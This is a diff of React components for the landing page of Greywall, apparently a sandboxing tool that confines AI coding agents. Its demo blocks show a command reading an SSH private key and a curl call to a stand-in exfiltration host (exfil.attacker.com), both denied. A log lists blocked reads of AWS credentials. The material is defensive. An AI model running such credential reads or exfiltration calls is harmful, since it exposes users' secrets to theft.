<div className="absolute inset-0 bg-[radial-gradient(ellipse_at_top,rgba(217,94,42,0.05)_0%,transparent_50%)]" />
|
||||
{/* Grid pattern */}
|
||||
<div
|
||||
className="absolute inset-0 opacity-[0.03]"
|
||||
style={{
|
||||
backgroundImage:
|
||||
'linear-gradient(rgba(249,249,247,1) 1px, transparent 1px), linear-gradient(90deg, rgba(249,249,247,1) 1px, transparent 1px)',
|
||||
backgroundSize: '64px 64px',
|
||||
}}
|
||||
/>
|
||||
|
||||
<div className="relative mx-auto max-w-3xl text-center">
|
||||
<div className="inline-flex items-center gap-2 px-3 py-1 mb-8 rounded-full border border-border/60 bg-card/50 text-xs text-muted-foreground font-sans">
|
||||
<span className="inline-block w-1.5 h-1.5 rounded-full bg-primary animate-pulse" />
|
||||
Container-free sandboxing for AI agents
|
||||
</div>
|
||||
|
||||
<h1 className="font-serif text-4xl sm:text-5xl md:text-6xl font-semibold tracking-tight leading-[1.1] mb-6">
|
||||
Constrain your agents.
|
||||
<br />
|
||||
<span className="text-primary">Know what they touch.</span>
|
||||
</h1>
|
||||
|
||||
<p className="text-lg text-muted-foreground leading-relaxed max-w-2xl mx-auto mb-10 font-serif">
|
||||
OS-native, default-deny sandboxing with real-time visibility into every
|
||||
file access and network call. No containers. One command.
|
||||
</p>
|
||||
|
||||
{/* Install command */}
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="code-block glow-orange px-5 py-3.5 flex items-center justify-between gap-4">
|
||||
<code className="font-mono text-greyhaven-offwhite text-[13px] whitespace-nowrap">
|
||||
<span className="text-muted-foreground">$ </span>
|
||||
{installCmd}
|
||||
</code>
|
||||
<button
|
||||
onClick={copyInstall}
|
||||
className="shrink-0 p-1.5 rounded-md text-muted-foreground hover:text-foreground hover:bg-accent/30 transition-all"
|
||||
title="Copy to clipboard"
|
||||
>
|
||||
{copied ? (
|
||||
<Check className="h-4 w-4 text-primary" />
|
||||
) : (
|
||||
<Copy className="h-4 w-4" />
|
||||
)}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Quick proof */}
|
||||
<div className="mt-12 mx-auto max-w-2xl">
|
||||
<div className="code-block p-5 text-left">
|
||||
<div className="text-xs text-muted-foreground mb-3 font-sans uppercase tracking-wider">
|
||||
Kernel-enforced isolation
|
||||
</div>
|
||||
<div className="space-y-2 font-mono text-sm">
|
||||
<div>
|
||||
<span className="text-muted-foreground">$ </span>
|
||||
<span className="text-greyhaven-offwhite">greywall -- cat ~/.ssh/id_ed25519</span>
|
||||
</div>
|
||||
<div className="text-red-400/90">
|
||||
cat: /home/user/.ssh/id_ed25519: Operation not permitted
|
||||
</div>
|
||||
<div className="mt-3">
|
||||
<span className="text-muted-foreground">$ </span>
|
||||
<span className="text-greyhaven-offwhite">greywall -- curl https://exfil.attacker.com</span>
|
||||
</div>
|
||||
<div className="text-red-400/90">
|
||||
curl: (7) Failed to connect: Connection refused
|
||||
</div>
|
||||
<div className="mt-3">
|
||||
<span className="text-muted-foreground">$ </span>
|
||||
<span className="text-greyhaven-offwhite">greywall -- ls ./my-project/</span>
|
||||
</div>
|
||||
<div className="text-green-400/80">
|
||||
src/ package.json README.md tsconfig.json
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
168
components/layers.tsx
Normal file
168
components/layers.tsx
Normal file
@@ -0,0 +1,168 @@
|
||||
'use client'
|
||||
|
||||
import { Box, Lock, ShieldCheck, Eye, Wifi, Layers as LayersIcon, Shield, AppWindow, Terminal } from 'lucide-react'
|
||||
import { PlatformToggle, usePlatform } from './platform-toggle'
|
||||
|
||||
const linuxLayers = [
|
||||
{
|
||||
icon: Box,
|
||||
name: 'Bubblewrap',
|
||||
tag: 'Namespaces',
|
||||
desc: 'Process, network, and mount isolation via Linux namespaces. The foundational containment layer that creates a fully isolated process environment.',
|
||||
detail: 'Linux 3.8+',
|
||||
},
|
||||
{
|
||||
icon: Lock,
|
||||
name: 'Landlock',
|
||||
tag: 'Filesystem',
|
||||
desc: 'Kernel-level filesystem access control. Enforces granular read/write permissions below userspace — processes cannot escalate their own access.',
|
||||
detail: 'Linux 5.13+',
|
||||
},
|
||||
{
|
||||
icon: ShieldCheck,
|
||||
name: 'Seccomp BPF',
|
||||
tag: 'Syscalls',
|
||||
desc: 'Blocks 27 dangerous system calls at the kernel boundary — ptrace, mount, kexec, module loading, and BPF manipulation are all denied.',
|
||||
detail: 'Linux 3.5+',
|
||||
},
|
||||
{
|
||||
icon: Eye,
|
||||
name: 'eBPF Monitoring',
|
||||
tag: 'Visibility',
|
||||
desc: 'Traces syscall exits in real time across all layers. Every permission denial is captured instantly with full context — process, path, and reason.',
|
||||
detail: 'Linux 4.15+',
|
||||
},
|
||||
{
|
||||
icon: Wifi,
|
||||
name: 'TUN + SOCKS5 Proxy',
|
||||
tag: 'Network',
|
||||
desc: 'Transparent network capture at the kernel level via TUN device. All TCP/UDP traffic is routed through the proxy — even binaries that ignore env vars.',
|
||||
detail: 'Any kernel',
|
||||
},
|
||||
]
|
||||
|
||||
const macosLayers = [
|
||||
{
|
||||
icon: Shield,
|
||||
name: 'Seatbelt Sandbox',
|
||||
tag: 'Core',
|
||||
desc: 'macOS kernel sandbox with dynamically generated profiles. Default-deny policy with explicit allowlists for filesystem, network, IPC, and process operations.',
|
||||
detail: 'macOS native',
|
||||
},
|
||||
{
|
||||
icon: Lock,
|
||||
name: 'Filesystem Policy',
|
||||
tag: 'Filesystem',
|
||||
desc: 'Fine-grained read/write rules using literal paths, subpath matching, and regex patterns. Sensitive files like SSH keys and .env are always protected.',
|
||||
detail: 'Seatbelt rules',
|
||||
},
|
||||
{
|
||||
icon: AppWindow,
|
||||
name: 'Mach IPC Control',
|
||||
tag: 'IPC',
|
||||
desc: 'Allowlist of safe Mach IPC services. Prevents sandboxed processes from communicating with privileged system services outside the policy boundary.',
|
||||
detail: 'Service allowlist',
|
||||
},
|
||||
{
|
||||
icon: Terminal,
|
||||
name: 'Log Stream Monitor',
|
||||
tag: 'Visibility',
|
||||
desc: 'Session-tagged violation monitoring via macOS log stream. Every denied operation is captured in real time with the process and path that triggered it.',
|
||||
detail: 'macOS native',
|
||||
},
|
||||
{
|
||||
icon: Wifi,
|
||||
name: 'Proxy-Based Network',
|
||||
tag: 'Network',
|
||||
desc: 'Outbound traffic routed through proxy via environment variables. Combined with Seatbelt network rules to block raw socket access and direct connections.',
|
||||
detail: 'Env var proxy',
|
||||
},
|
||||
]
|
||||
|
||||
export function Layers() {
|
||||
const [platform] = usePlatform()
|
||||
const layers = platform === 'linux' ? linuxLayers : macosLayers
|
||||
|
||||
return (
|
||||
<section id="features" className="py-24 px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-16">
|
||||
<div className="max-w-2xl">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<LayersIcon className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Defense in depth
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
{platform === 'linux' ? 'Five orthogonal security layers.' : 'Kernel-enforced on every call.'}
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
{platform === 'linux'
|
||||
? 'Each layer operates independently. A bug in one is caught by another. No single point of failure — every constraint is enforced at the kernel level.'
|
||||
: 'macOS Seatbelt enforces deny-by-default policies before any syscall completes. The sandbox profile is generated per-session with rules tailored to your project.'}
|
||||
</p>
|
||||
</div>
|
||||
<PlatformToggle />
|
||||
</div>
|
||||
|
||||
<div className="space-y-3">
|
||||
{layers.map((layer) => (
|
||||
<div
|
||||
key={layer.name}
|
||||
className="layer-card group flex items-start gap-5 p-5 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20"
|
||||
>
|
||||
<div className="shrink-0 flex items-center justify-center w-10 h-10 rounded-md bg-primary/10 text-primary">
|
||||
<layer.icon className="h-5 w-5" />
|
||||
</div>
|
||||
<div className="flex-1 min-w-0">
|
||||
<div className="flex items-center gap-3 mb-1.5">
|
||||
<h3 className="font-sans font-semibold text-sm text-foreground">
|
||||
{layer.name}
|
||||
</h3>
|
||||
<span className="px-2 py-0.5 rounded text-[10px] font-sans font-medium uppercase tracking-wider bg-primary/10 text-primary">
|
||||
{layer.tag}
|
||||
</span>
|
||||
</div>
|
||||
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||
{layer.desc}
|
||||
</p>
|
||||
</div>
|
||||
<div className="shrink-0 text-right hidden sm:block">
|
||||
<span className="text-[10px] font-mono text-muted-foreground">
|
||||
{layer.detail}
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
|
||||
<div className="mt-8 p-5 rounded-lg border border-primary/15 bg-primary/[0.03]">
|
||||
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||
{platform === 'linux' ? (
|
||||
<>
|
||||
<span className="text-primary font-medium">Graceful degradation.</span>{' '}
|
||||
Greywall detects kernel features at runtime and activates every layer your system
|
||||
supports. Run{' '}
|
||||
<code className="font-mono text-xs text-foreground bg-card/50 px-1.5 py-0.5 rounded">
|
||||
greywall --linux-features
|
||||
</code>{' '}
|
||||
to see what's available.
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<span className="text-primary font-medium">No dependencies.</span>{' '}
|
||||
macOS sandboxing uses only built-in OS capabilities — no packages to install.
|
||||
Run{' '}
|
||||
<code className="font-mono text-xs text-foreground bg-card/50 px-1.5 py-0.5 rounded">
|
||||
greywall check
|
||||
</code>{' '}
|
||||
to verify your setup.
|
||||
</>
|
||||
)}
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
48
components/nav.tsx
Normal file
48
components/nav.tsx
Normal file
@@ -0,0 +1,48 @@
|
||||
export function Nav() {
|
||||
return (
|
||||
<nav className="fixed top-0 left-0 right-0 z-50 border-b border-border/50 bg-background/80 backdrop-blur-md">
|
||||
<div className="mx-auto max-w-5xl flex items-center justify-between px-6 h-14">
|
||||
<a href="#" className="flex items-center gap-2.5 group">
|
||||
{/* Greywall shield logo */}
|
||||
<svg viewBox="0 0 32 32" fill="none" className="h-6 w-6" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
|
||||
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
|
||||
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
|
||||
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
||||
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
|
||||
</svg>
|
||||
<span className="font-serif font-semibold text-lg tracking-tight text-foreground">
|
||||
Greywall
|
||||
</span>
|
||||
</a>
|
||||
<div className="flex items-center gap-6">
|
||||
<a
|
||||
href="#features"
|
||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
|
||||
>
|
||||
Features
|
||||
</a>
|
||||
<a
|
||||
href="#comparison"
|
||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
|
||||
>
|
||||
Compare
|
||||
</a>
|
||||
<a
|
||||
href="https://github.com/GreyhavenHQ/greywall"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors flex items-center gap-1.5"
|
||||
>
|
||||
<svg className="h-4 w-4" fill="currentColor" viewBox="0 0 24 24">
|
||||
<path d="M12 0c-6.626 0-12 5.373-12 12 0 5.302 3.438 9.8 8.207 11.387.599.111.793-.261.793-.577v-2.234c-3.338.726-4.033-1.416-4.033-1.416-.546-1.387-1.333-1.756-1.333-1.756-1.089-.745.083-.729.083-.729 1.205.084 1.839 1.237 1.839 1.237 1.07 1.834 2.807 1.304 3.492.997.107-.775.418-1.305.762-1.604-2.665-.305-5.467-1.334-5.467-5.931 0-1.311.469-2.381 1.236-3.221-.124-.303-.535-1.524.117-3.176 0 0 1.008-.322 3.301 1.23.957-.266 1.983-.399 3.003-.404 1.02.005 2.047.138 3.006.404 2.291-1.552 3.297-1.23 3.297-1.23.653 1.653.242 2.874.118 3.176.77.84 1.235 1.911 1.235 3.221 0 4.609-2.807 5.624-5.479 5.921.43.372.823 1.102.823 2.222v3.293c0 .319.192.694.801.576 4.765-1.589 8.199-6.086 8.199-11.386 0-6.627-5.373-12-12-12z" />
|
||||
</svg>
|
||||
<span className="hidden sm:inline">GitHub</span>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
)
|
||||
}
|
||||
127
components/observability.tsx
Normal file
127
components/observability.tsx
Normal file
@@ -0,0 +1,127 @@
|
||||
'use client'
|
||||
|
||||
import { Eye, Activity, ShieldQuestion, Zap } from 'lucide-react'
|
||||
import { usePlatform } from './platform-toggle'
|
||||
|
||||
export function Observability() {
|
||||
const [platform] = usePlatform()
|
||||
|
||||
return (
|
||||
<section className="py-24 px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-16">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<Eye className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Clarity
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
Watch it reach. Then decide.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
You can't predict what your agent will access. Greywall makes every filesystem
|
||||
operation and network connection visible in real time — so you make informed decisions
|
||||
instead of guessing policies upfront.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="grid grid-cols-1 md:grid-cols-2 gap-6">
|
||||
{/* Monitor mode */}
|
||||
<div className="space-y-4">
|
||||
<div className="flex items-center gap-3">
|
||||
<div className="flex items-center justify-center w-8 h-8 rounded-md bg-primary/10 text-primary">
|
||||
<Activity className="h-4 w-4" />
|
||||
</div>
|
||||
<h3 className="font-sans font-semibold text-sm">
|
||||
{platform === 'linux' ? 'eBPF violation tracing' : 'Log stream monitoring'}
|
||||
</h3>
|
||||
</div>
|
||||
<div className="code-block p-4">
|
||||
<div className="text-xs text-muted-foreground mb-3 font-sans uppercase tracking-wider">
|
||||
{platform === 'linux' ? 'Real-time syscall tracing' : 'Session-tagged violation stream'}
|
||||
</div>
|
||||
<div className="space-y-1.5 font-mono text-xs">
|
||||
<div>
|
||||
<span className="text-muted-foreground">$ </span>
|
||||
<span className="text-greyhaven-offwhite">greywall -m -- claude</span>
|
||||
</div>
|
||||
<div className="mt-2 text-muted-foreground">
|
||||
[14:23:01] <span className="text-red-400/80">DENY</span>{' '}
|
||||
<span className="text-greyhaven-offwhite">read</span>{' '}
|
||||
~/.ssh/id_ed25519
|
||||
</div>
|
||||
<div className="text-muted-foreground">
|
||||
[14:23:01] <span className="text-red-400/80">DENY</span>{' '}
|
||||
<span className="text-greyhaven-offwhite">read</span>{' '}
|
||||
~/.aws/credentials
|
||||
</div>
|
||||
<div className="text-muted-foreground">
|
||||
[14:23:02] <span className="text-red-400/80">DENY</span>{' '}
|
||||
<span className="text-greyhaven-offwhite">write</span>{' '}
|
||||
~/.bashrc
|
||||
</div>
|
||||
<div className="text-muted-foreground">
|
||||
[14:23:03] <span className="text-green-400/70">ALLOW</span>{' '}
|
||||
<span className="text-greyhaven-offwhite">read</span>{' '}
|
||||
./src/index.ts
|
||||
</div>
|
||||
<div className="text-muted-foreground">
|
||||
[14:23:03] <span className="text-green-400/70">ALLOW</span>{' '}
|
||||
<span className="text-greyhaven-offwhite">write</span>{' '}
|
||||
./src/utils.ts
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* GreyProxy screenshot */}
|
||||
<div className="space-y-4">
|
||||
<div className="flex items-center gap-3">
|
||||
<div className="flex items-center justify-center w-8 h-8 rounded-md bg-primary/10 text-primary">
|
||||
<Eye className="h-4 w-4" />
|
||||
</div>
|
||||
<h3 className="font-sans font-semibold text-sm">GreyProxy dashboard</h3>
|
||||
</div>
|
||||
<div className="rounded-lg border border-border/40 overflow-hidden">
|
||||
<img
|
||||
src="/greyproxy.png"
|
||||
alt="GreyProxy dashboard showing pending network requests with Allow and Deny controls"
|
||||
className="w-full h-auto"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Value props */}
|
||||
<div className="mt-8 grid grid-cols-1 md:grid-cols-3 gap-4">
|
||||
<div className="p-5 rounded-lg border border-border/40 bg-card/30">
|
||||
<ShieldQuestion className="h-4 w-4 text-primary mb-3" />
|
||||
<h4 className="font-sans font-medium text-sm mb-1">Answer hard questions</h4>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||
What did the agent see? What did it access? What was denied? Greywall makes these
|
||||
questions answerable for any session, at any time, after the fact.
|
||||
</p>
|
||||
</div>
|
||||
<div className="p-5 rounded-lg border border-border/40 bg-card/30">
|
||||
<Zap className="h-4 w-4 text-primary mb-3" />
|
||||
<h4 className="font-sans font-medium text-sm mb-1">Move faster, safely</h4>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||
Once you can see what agents do and control it without breaking flow, you stop
|
||||
hesitating. Longer autonomous runs, more sub-agents, faster iteration on sensitive
|
||||
workloads.
|
||||
</p>
|
||||
</div>
|
||||
<div className="p-5 rounded-lg border border-border/40 bg-card/30">
|
||||
<Activity className="h-4 w-4 text-primary mb-3" />
|
||||
<h4 className="font-sans font-medium text-sm mb-1">Operate, don't hope</h4>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||
Observability is the difference between operating AI and hoping AI operates.
|
||||
Security becomes an enabler of velocity, not a constraint on it.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
60
components/platform-toggle.tsx
Normal file
60
components/platform-toggle.tsx
Normal file
@@ -0,0 +1,60 @@
|
||||
'use client'
|
||||
|
||||
import { createContext, useContext, useState, useEffect, type ReactNode } from 'react'
|
||||
|
||||
export type Platform = 'linux' | 'macos'
|
||||
|
||||
const PlatformContext = createContext<{
|
||||
platform: Platform
|
||||
setPlatform: (p: Platform) => void
|
||||
}>({ platform: 'linux', setPlatform: () => {} })
|
||||
|
||||
export function PlatformProvider({ children }: { children: ReactNode }) {
|
||||
const [platform, setPlatform] = useState<Platform>('linux')
|
||||
|
||||
useEffect(() => {
|
||||
if (navigator.userAgent.includes('Mac')) {
|
||||
setPlatform('macos')
|
||||
}
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<PlatformContext.Provider value={{ platform, setPlatform }}>
|
||||
{children}
|
||||
</PlatformContext.Provider>
|
||||
)
|
||||
}
|
||||
|
||||
export function usePlatform() {
|
||||
const { platform, setPlatform } = useContext(PlatformContext)
|
||||
return [platform, setPlatform] as const
|
||||
}
|
||||
|
||||
export function PlatformToggle() {
|
||||
const [platform, setPlatform] = usePlatform()
|
||||
|
||||
return (
|
||||
<div className="inline-flex items-center rounded-lg border border-border/50 bg-card/30 p-0.5">
|
||||
<button
|
||||
onClick={() => setPlatform('linux')}
|
||||
className={`px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
|
||||
platform === 'linux'
|
||||
? 'bg-primary text-primary-foreground shadow-sm'
|
||||
: 'text-muted-foreground hover:text-foreground'
|
||||
}`}
|
||||
>
|
||||
Linux
|
||||
</button>
|
||||
<button
|
||||
onClick={() => setPlatform('macos')}
|
||||
className={`px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
|
||||
platform === 'macos'
|
||||
? 'bg-primary text-primary-foreground shadow-sm'
|
||||
: 'text-muted-foreground hover:text-foreground'
|
||||
}`}
|
||||
>
|
||||
macOS
|
||||
</button>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
75
components/problem.tsx
Normal file
75
components/problem.tsx
Normal file
@@ -0,0 +1,75 @@
|
||||
import { AlertTriangle, KeyRound, Globe, FolderOpen, FileCode } from 'lucide-react'
|
||||
|
||||
const exposures = [
|
||||
{
|
||||
icon: KeyRound,
|
||||
path: '~/.ssh/',
|
||||
label: 'SSH keys',
|
||||
desc: 'Private keys, known hosts, agent configs',
|
||||
},
|
||||
{
|
||||
icon: Globe,
|
||||
path: '~/.aws/',
|
||||
label: 'Cloud credentials',
|
||||
desc: 'AWS tokens, GCP configs, Azure secrets',
|
||||
},
|
||||
{
|
||||
icon: FileCode,
|
||||
path: '.env',
|
||||
label: 'Environment secrets',
|
||||
desc: 'API keys, database URLs, auth tokens',
|
||||
},
|
||||
{
|
||||
icon: FolderOpen,
|
||||
path: '~/*',
|
||||
label: 'Full filesystem',
|
||||
desc: 'Every repo, document, and config file',
|
||||
},
|
||||
]
|
||||
|
||||
export function Problem() {
|
||||
return (
|
||||
<section className="py-24 px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-16">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<AlertTriangle className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
The problem
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
Every agent inherits everything.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
AI coding agents run as your user. They see your SSH keys, cloud tokens, env files, and
|
||||
entire home directory. The model decides what to access at runtime — guided by weights
|
||||
you didn't train, at machine speed. One wrong inference is all it takes.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-4 gap-4">
|
||||
{exposures.map((item) => (
|
||||
<div
|
||||
key={item.path}
|
||||
className="group p-5 rounded-lg border border-border/40 bg-card/30 hover:border-destructive/30 hover:bg-destructive/[0.03] transition-all"
|
||||
>
|
||||
<item.icon className="h-5 w-5 text-muted-foreground group-hover:text-destructive/70 mb-3 transition-colors" />
|
||||
<code className="text-sm font-mono text-foreground block mb-1">{item.path}</code>
|
||||
<p className="text-xs text-muted-foreground font-sans">{item.desc}</p>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
|
||||
<div className="mt-10 p-5 rounded-lg border border-border/30 bg-card/20">
|
||||
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||
<span className="text-foreground font-medium">Most setups rely on promises</span> —
|
||||
trust the model provider's policies, trust the application code, trust that the
|
||||
agent respects boundaries. Greywall replaces trust with enforcement. Constraints are
|
||||
applied at the kernel level, below anything the agent or model can circumvent.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
Reference in New Issue
Block a user